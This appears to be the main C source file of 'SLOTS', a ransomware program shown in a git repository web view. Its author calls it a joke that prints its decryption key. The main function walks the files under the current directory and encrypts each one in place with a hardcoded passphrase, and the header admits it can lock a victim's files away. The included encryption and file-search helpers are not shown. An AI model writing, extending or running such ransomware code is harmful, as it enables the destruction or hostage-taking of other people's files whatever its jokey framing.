blob: 6395acd4540617bba1b1ff37b800c1c86a5044b4 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
/***
* SLOTS - Feelin' Lucky?
*
* SLOTS is ransomware that uses (shitty) encryption to "encourage" the reluctant gambler. You get 3 free spins to get a jackpot, further spins "cost" money.
* This malware is meant primarily as a joke, not as something meant to damage someone's system. While it CAN damage someone's computer and lock their files away, it
* also prints out the key required to decrypt affected files if someone isn't too keen on losing their shit
*
*
*/
#define _GNU_SOURCE
#include "main.h"
#include "encryption.h"
#include "search.h"
#include "ll.h"
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <error.h>
int main() {
// Get folders
struct nodelist *files = scanfiles("./", alphasort);
// Encrypt those files
for(struct nodelist *p = files; p != NULL; p = p->next) {
int fd = open(p->fullpath, O_RDWR);
if(fd < 0) {
error(0, errno, "Couldn't open file \"%s\" for some reason", p->fullpath);
continue;
}
passencblock(fd, "We do a little trolling");
close(fd);
}
nodelist_delete(files);
return 0;
}
|